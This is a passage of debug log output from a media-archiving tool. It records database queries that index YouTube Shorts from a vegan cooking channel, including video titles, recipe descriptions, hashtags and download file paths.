~U[2022-10-20 15:00:27Z]] 20:31:10.013 [debug] QUERY OK source="sources" db=1.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.015 [debug] QUERY OK source="media_items" db=2.0ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-20 03:13:24Z], 1] 20:31:10.016 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to call in sick to work 👀", "4afea808-3531-4640-a506-72e0f11e6ed5", 1, [], 15, false, "viRWRifTar8", "https://www.youtube.com/shorts/viRWRifTar8", 216, "/downloads/downloads/alec/Steamy Vegan/2022-10-20 How to call in sick to work 👀/How to call in sick to work 👀 [viRWRifTar8].NA", false, false, true, 2, ~U[2022-10-20 03:13:24Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "How to call in sick to work 👀", 1, 15, false, "viRWRifTar8", "https://www.youtube.com/shorts/viRWRifTar8", "/downloads/downloads/alec/Steamy Vegan/2022-10-20 How to call in sick to work 👀/How to call in sick to work 👀 [viRWRifTar8].NA", true, ~U[2022-10-20 03:13:24Z]] 20:31:10.017 [debug] QUERY OK source="sources" db=0.7ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.019 [debug] QUERY OK source="media_items" db=1.7ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-19 18:07:00Z], 1] 20:31:10.025 [debug] QUERY OK source="media_items" db=5.9ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A ⭐️realistic⭐️ day of eating as a vegan 🌱😍\n\n🥣 BREAKFAST — pumpkin spice banana choc chip oatmeal \n🍲 LUNCH — rustic red potato 🥔 & leek soup (recipe hitting my blog SOON!) and quinoa salad (using my iHarvest greens! @igworks01 ) w/ chipotle cilantro 🌿 cashew cream dressing \n🥗 DINNER — Mexican-inspired black bean 🫘 tomato 🍅 soup, salad, crispy baked tofu and roasted potatoes 🥔 \n\nEasy, nutritious, whole food plant based goodness! Follow @steamyvegankitchen for more vegan food inspiration ⭐️\n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #igworks #iharvest #indoorgardenworks #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan", "What I eat as a vegan 🌱 What I ate in a day!", "9985c467-86a6-4c2f-8cb6-cda51b251e58", 1, [], 46, false, "HIvOgXqde4w", "https://www.youtube.com/shorts/HIvOgXqde4w", 217, "/downloads/downloads/alec/Steamy Vegan/2022-10-19 What I eat as a vegan 🌱 What I ate in a day!/What I eat as a vegan 🌱 What I ate in a day! [HIvOgXqde4w].NA", false, false, true, 1, ~U[2022-10-19 18:07:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "A ⭐️realistic⭐️ day of eating as a vegan 🌱😍\n\n🥣 BREAKFAST — pumpkin spice banana choc chip oatmeal \n🍲 LUNCH — rustic red potato 🥔 & leek soup (recipe hitting my blog SOON!) and quinoa salad (using my iHarvest greens! @igworks01 ) w/ chipotle cilantro 🌿 cashew cream dressing \n🥗 DINNER — Mexican-inspired black bean 🫘 tomato 🍅 soup, salad, crispy baked tofu and roasted potatoes 🥔 \n\nEasy, nutritious, whole food plant based goodness! Follow @steamyvegankitchen for more vegan food inspiration ⭐️\n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #igworks #iharvest #indoorgardenworks #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan", "What I eat as a vegan 🌱 What I ate in a day!", 1, 46, false, "HIvOgXqde4w", "https://www.youtube.com/shorts/HIvOgXqde4w", "/downloads/downloads/alec/Steamy Vegan/2022-10-19 What I eat as a vegan 🌱 What I ate in a day!/What I eat as a vegan 🌱 What I ate in a day! [HIvOgXqde4w].NA", true, ~U[2022-10-19 18:07:00Z]] 20:31:10.026 [debug] QUERY OK source="sources" db=0.4ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.028 [debug] QUERY OK source="media_items" db=1.8ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-18 15:42:09Z], 1] 20:31:10.030 [debug] QUERY OK source="media_items" db=1.7ms idle=10.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["*REALISTIC* What I ate in a day 🌱 Plant-based and gluten-free 😌\n\nWholesome, delicious and pretty easy meals! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and hit that SUBSCRIBE BUTTON to see weekly videos (recipes, what I eat, product reviews and more!) 🧡 \n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan \nMusic by Mark Generous - Eternal Dreams - https://thmatc.co/?l=8012F18D", "What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts", "a85b33c1-d963-461a-b9ac-c1996cd5f7c1", 1, [], 27, false, "0a-HepNoT_U", "https://www.youtube.com/shorts/0a-HepNoT_U", 218, "/downloads/downloads/alec/Steamy Vegan/2022-10-18 What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts/What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts [0a-HepNoT_U].NA", false, false, true, 1, ~U[2022-10-18 15:42:09Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "*REALISTIC* What I ate in a day 🌱 Plant-based and gluten-free 😌\n\nWholesome, delicious and pretty easy meals! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and hit that SUBSCRIBE BUTTON to see weekly videos (recipes, what I eat, product reviews and more!) 🧡 \n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan \nMusic by Mark Generous - Eternal Dreams - https://thmatc.co/?l=8012F18D", "What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts", 1, 27, false, "0a-HepNoT_U", "https://www.youtube.com/shorts/0a-HepNoT_U", "/downloads/downloads/alec/Steamy Vegan/2022-10-18 What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts/What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts [0a-HepNoT_U].NA", true, ~U[2022-10-18 15:42:09Z]] 20:31:10.031 [debug] QUERY OK source="sources" db=0.4ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.032 [debug] QUERY OK source="media_items" db=1.5ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-16 16:09:36Z], 1] 20:31:10.034 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts", "8eafe37d-cd1d-4bc1-937b-50474cae6e31", 1, [], 14, false, "FAcnTsKrWYU", "https://www.youtube.com/shorts/FAcnTsKrWYU", 219, "/downloads/downloads/alec/Steamy Vegan/2022-10-16 Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts/Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts [FAcnTsKrWYU].NA", false, false, true, 2, ~U[2022-10-16 16:09:36Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts", 1, 14, false, "FAcnTsKrWYU", "https://www.youtube.com/shorts/FAcnTsKrWYU", "/downloads/downloads/alec/Steamy Vegan/2022-10-16 Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts/Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts [FAcnTsKrWYU].NA", true, ~U[2022-10-16 16:09:36Z]] 20:31:10.035 [debug] QUERY OK source="sources" db=0.5ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.037 [debug] QUERY OK source="media_items" db=1.9ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-16 15:25:00Z], 1] 20:31:10.038 [debug] QUERY OK source="media_items" db=0.8ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's cold and flu season which is the perfect time for me to roll out my go-to immune boosting and cold fighting plant based and gluten free soup. I have this every 1-2 weeks during the Fall and Winter season and I rarely ever get sick.\n\nWant to see 3 of my fave cold and flu remedies, check this vid out: https://youtu.be/mzi8dQ_G4T0\nCheck out the full recipe for this soup here: https://youtu.be/esUrN5wuq5E\n\nRecipe Ingredients:\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste", "My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts", "70e7bcda-ecb1-4f8c-9591-01ba5fabe1a8", 1, [], 27, false, "Yjhi1Y4zCpI", "https://www.youtube.com/shorts/Yjhi1Y4zCpI", 220, "/downloads/downloads/alec/Steamy Vegan/2022-10-16 My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts/My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts [Yjhi1Y4zCpI].NA", false, false, true, 2, ~U[2022-10-16 15:25:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "It's cold and flu season which is the perfect time for me to roll out my go-to immune boosting and cold fighting plant based and gluten free soup. I have this every 1-2 weeks during the Fall and Winter season and I rarely ever get sick.\n\nWant to see 3 of my fave cold and flu remedies, check this vid out: https://youtu.be/mzi8dQ_G4T0\nCheck out the full recipe for this soup here: https://youtu.be/esUrN5wuq5E\n\nRecipe Ingredients:\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste", "My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts", 1, 27, false, "Yjhi1Y4zCpI", "https://www.youtube.com/shorts/Yjhi1Y4zCpI", "/downloads/downloads/alec/Steamy Vegan/2022-10-16 My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts/My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts [Yjhi1Y4zCpI].NA", true, ~U[2022-10-16 15:25:00Z]] 20:31:10.039 [debug] QUERY OK source="sources" db=0.6ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.041 [debug] QUERY OK source="media_items" db=1.5ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-15 16:35:00Z], 1] 20:31:10.042 [debug] QUERY OK source="media_items" db=0.6ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our newest episode on the channel we go over 3 remedies to help you battle or prevent any cold, even the dreaded Man Cold. Check out the full episode here: https://youtu.be/mzi8dQ_G4T0", "Is the Man Cold Real? 😱🥴#shorts #youtubeshorts", "d8853682-4245-4e9c-a580-03f9161a1aa2", 1, [], 15, false, "Cm05I-isDhE", "https://www.youtube.com/shorts/Cm05I-isDhE", 221, "/downloads/downloads/alec/Steamy Vegan/2022-10-15 Is the Man Cold Real? 😱🥴#shorts #youtubeshorts/Is the Man Cold Real? 😱🥴#shorts #youtubeshorts [Cm05I-isDhE].NA", false, false, true, 1, ~U[2022-10-15 16:35:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "In our newest episode on the channel we go over 3 remedies to help you battle or prevent any cold, even the dreaded Man Cold. Check out the full episode here: https://youtu.be/mzi8dQ_G4T0", "Is the Man Cold Real? 😱🥴#shorts #youtubeshorts", 1, 15, false, "Cm05I-isDhE", "https://www.youtube.com/shorts/Cm05I-isDhE", "/downloads/downloads/alec/Steamy Vegan/2022-10-15 Is the Man Cold Real? 😱🥴#shorts #youtubeshorts/Is the Man Cold Real? 😱🥴#shorts #youtubeshorts [Cm05I-isDhE].NA", true, ~U[2022-10-15 16:35:00Z]] 20:31:10.043 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.045 [debug] QUERY OK source="media_items" db=2.2ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-14 15:00:07Z], 1] 20:31:10.046 [debug] QUERY OK source="media_items" db=1.0ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test Yves vegan falafel balls in this video. Check out the full taste test video where we try 8 different vegan and gluten free appetizers for game day or any parties this season.\n\nFull Video: https://youtu.be/NyAnAMvdk0M", "Tough Dry Balls #shorts #youtubeshorts", "14beed60-7175-451e-93af-a2e7ebf081f2", 1, [], 15, false, "BoBzxR5kFNo", "https://www.youtube.com/shorts/BoBzxR5kFNo", 222, "/downloads/downloads/alec/Steamy Vegan/2022-10-14 Tough Dry Balls #shorts #youtubeshorts/Tough Dry Balls #shorts #youtubeshorts [BoBzxR5kFNo].NA", false, false, true, 2, ~U[2022-10-14 15:00:07Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We taste test Yves vegan falafel balls in this video. Check out the full taste test video where we try 8 different vegan and gluten free appetizers for game day or any parties this season.\n\nFull Video: https://youtu.be/NyAnAMvdk0M", "Tough Dry Balls #shorts #youtubeshorts", 1, 15, false, "BoBzxR5kFNo", "https://www.youtube.com/shorts/BoBzxR5kFNo", "/downloads/downloads/alec/Steamy Vegan/2022-10-14 Tough Dry Balls #shorts #youtubeshorts/Tough Dry Balls #shorts #youtubeshorts [BoBzxR5kFNo].NA", true, ~U[2022-10-14 15:00:07Z]] 20:31:10.047 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.049 [debug] QUERY OK source="media_items" db=1.6ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 21:00:32Z], 1] 20:31:10.050 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pumpkin Spice Smoothie 🧡🎃😍 If you’re not ready to say farewell to summer then this little treat is for you 😌\n\nCreamy and chilly but still rockin’ the autumn vibes 🍂 SAVE THIS SMOOTHIE RECIPE FOR LATER! ✔️\n\nIngredients \n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin spice @itsblume \n1 frozen banana\nice cubes\nAdd all ingredients to a high-speed blender and blend until smooth and creamy. Sprinkle extra cinnamon or pumpkin pie spice on top if you want to be extra fancy pants 🧡\n\nFollow @steamyvegankitchen for more ridiculously delish and easy plant-based recipes! 🌿 \n\n#steamyvegankitchen #steamyvegan #pumpkinspiceseason #pumpkinspiceeverything #pumpkinspice #pumpkinspicerecipes #plantbased #eatplants #plantbasedvancouver #plantbaseddiet #plantbasedfood #plantbasedrecipes #breakfastinspo #healthyrecipes #healthybreakfast #healthybaking #healthybreakfastideas #veganyvr #veganfatloss #vancityvegans #veganfood #vancitybloggers #vancouverinfluencer #vegansofig", "Pumpkin spice smoothie // healthy, easy and DELISH 🧡🎃🍂", "57f99382-c5a5-4c54-9067-c9d1834a42f7", 1, [], 45, false, "oAinRaPcHFc", "https://www.youtube.com/shorts/oAinRaPcHFc", 223, "/downloads/downloads/alec/Steamy Vegan/2022-10-13 Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂/Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂 [oAinRaPcHFc].NA", false, false, true, 3, ~U[2022-10-13 21:00:32Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Pumpkin Spice Smoothie 🧡🎃😍 If you’re not ready to say farewell to summer then this little treat is for you 😌\n\nCreamy and chilly but still rockin’ the autumn vibes 🍂 SAVE THIS SMOOTHIE RECIPE FOR LATER! ✔️\n\nIngredients \n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin spice @itsblume \n1 frozen banana\nice cubes\nAdd all ingredients to a high-speed blender and blend until smooth and creamy. Sprinkle extra cinnamon or pumpkin pie spice on top if you want to be extra fancy pants 🧡\n\nFollow @steamyvegankitchen for more ridiculously delish and easy plant-based recipes! 🌿 \n\n#steamyvegankitchen #steamyvegan #pumpkinspiceseason #pumpkinspiceeverything #pumpkinspice #pumpkinspicerecipes #plantbased #eatplants #plantbasedvancouver #plantbaseddiet #plantbasedfood #plantbasedrecipes #breakfastinspo #healthyrecipes #healthybreakfast #healthybaking #healthybreakfastideas #veganyvr #veganfatloss #vancityvegans #veganfood #vancitybloggers #vancouverinfluencer #vegansofig", "Pumpkin spice smoothie // healthy, easy and DELISH 🧡🎃🍂", 1, 45, false, "oAinRaPcHFc", "https://www.youtube.com/shorts/oAinRaPcHFc", "/downloads/downloads/alec/Steamy Vegan/2022-10-13 Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂/Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂 [oAinRaPcHFc].NA", true, ~U[2022-10-13 21:00:32Z]] 20:31:10.051 [debug] QUERY OK source="sources" db=0.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.053 [debug] QUERY OK source="media_items" db=1.6ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 18:00:07Z], 1] 20:31:10.053 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = 